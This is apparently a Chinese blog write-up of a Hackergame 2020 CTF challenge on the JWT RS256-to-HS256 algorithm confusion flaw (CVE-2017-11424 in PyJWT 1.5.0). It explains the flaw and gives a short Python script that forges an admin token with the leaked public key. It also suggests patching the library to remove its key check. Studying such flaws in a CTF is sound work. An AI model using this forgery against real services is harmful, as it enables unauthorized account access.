JWT身份验证绕过——来自hacker game2020

JWT简介

JWT (JSON Web Tokens) ,是一串用于身份验证的token(内容公开),存储在客户端,通过签名保证token的内容没有被篡改。

题解分析

官方wp中有这一串token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJndWVzdCIsImV4cCI6MTYwNDM3NDE4N30.ZADFKRFG0I5LpsUwb2hAqcyD1BOWf5doLrxVIuI-OINDPaBNKsuCPInxadxW5VbhDmmkcgBnGT_GQfqE7VWFKf2aY0Zfq8YNmXPESEWV9OC4WHfEt3GwN5B2Rt1wXZgcWuB9pcxVKttoND9yLS5Pa7mOTyc_SPJ-A7t0FnfoL8NwbqOeLorMW190UuVb4_bbuNcEVFwqOp6A7vrNLbD6trhUrk2aFG1rtbTwuTkdDqMozOtzI8GtwpShb9XmQCugjOBciQceeTnRB4PjBxdJO8tHuiVMwVIOg5__-gDJTDAxd9veT_T8finvvOJ2rMAsNO_WSOYgdBKBwfUh5kbh7x-C616dj4C0xnJR8U3DDhyyjBa5V6c9_jDWM6E0YB9O0iRTglWetvW3xC-_ZNaWS-yxFvcAnVxOVyEkAiow0BJuyRxNDXc3m2g0yg6vUjmimUnJ3-ffl5E1sqdPiK_Tyy2ny21ZRzZz01uEf0Z31JP3RThOKPmfkTDpRKMB5pSuCeqvxK5ZP6hKwpahc5MqZHbzwMv8rPD_D-bLDKjSkYfu_JCQO00mfTDxg28DWSvJz8xaUL3oUAsR_8lhw20SElh_NcdywMSiDTe6vYZ0KjRZ1mIZMLxmAqPR2YlhRwQmhGad5Z2EKHUTwaYzR_tI4HtubTk4L3k7PBo5N6T0WwY
拿去jwt.io解码,得到解码信息:

{
  "typ": "JWT",
  "alg": "RS256"
}

{
  "sub": "guest",
  "exp": 1604374187
}

RSASHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  ''
  ''
)

签名算法为RS256(使用 SHA-256 的 RSA 签名)
身份为guest
最后一部分为签名,不知道公钥私钥

绕过方法

以下引用官方wp

在非对称密码中,公钥确实是可以公开的。但是这就牵扯到了 JWT 格式的问题:它的签名算法除了支持 RSA 签名以外,还支持对称的 HMAC 签名(例如 HS256),并且修改 JWT 中的签名算法只需要修改 header 的 alg 字段,并且通过某些方法,仍然让程序认为整个 JWT 是完好而未被篡改的即可。

在使用 RS256 时,程序的流程是:

1.使用私钥为 JWT 签名。
2.使用公钥验证接收到的 JWT 的完整性。
而在使用 HS256 时,程序的流程是:
1.使用密钥为 JWT 签名。
2.同样,使用这个密钥验证 JWT 的完整性。显然,这个密钥不能被泄露出来。

那么如果我们知道公钥,那么我们就能这么做:
1.接收到一个合法的,使用 RS256 签名算法的 JWT。
2.修改 JWT 的 payload 我们想要的样子,同时修改 header 的算法为HS256。
3.使用已知的公钥,以 HS256 算法重新签名我们修改后的公钥。
4.发给服务器。此时,服务器使用公钥 + HS256 算法检JWT,发现没有问题,就会认为这是一个合法的 JWT。
目前的 JWT 库基本上都修复了这个问题。

题目使用的是PyJWT 1.5.0,对应的 CVE 是 CVE-2017-11424

绕过实践

使用python PyJWT库:

import jwt

PUBLIC_KEY = "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDoDGpHkaoKLeJXHHnQUF1t+anX\nqir79Yj3vfDFTOp6qhl6GsnyucEdiCI1z3lidJ2pd1mjT7kw3isNV6GkZWo2i/UY\nOVlkIaWWDwtJMuJuSlE4t3zuYM0DYNTFEzS5jF/Rl3cNLSBtGleobm1qEKH/eAgK\nosXefntFyPYavn/uIQIDAQAB\n-----END PUBLIC KEY-----\n"

payload = {
  "username": "admin",
  "pk": "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDoDGpHkaoKLeJXHHnQUF1t+anX\nqir79Yj3vfDFTOp6qhl6GsnyucEdiCI1z3lidJ2pd1mjT7kw3isNV6GkZWo2i/UY\nOVlkIaWWDwtJMuJuSlE4t3zuYM0DYNTFEzS5jF/Rl3cNLSBtGleobm1qEKH/eAgK\nosXefntFyPYavn/uIQIDAQAB\n-----END PUBLIC KEY-----\n",
  "iat": 1605940233
}



encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256')

print(encoded)

将签名方式改为HS256,使用泄露的公钥进行签名。
但是直接运行会报错,因为PyJWT(以及其他很多JWT库)修复此安全漏洞的方式是:当使用HS256编码/解码的时候,检查密钥的开头是否是非对称加密的公钥,如果是,就报错。

直接修改可以直接魔改jwt / algorithms.py把这一部分的校正去掉即可。


版权声明:本文为qq_34583819原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。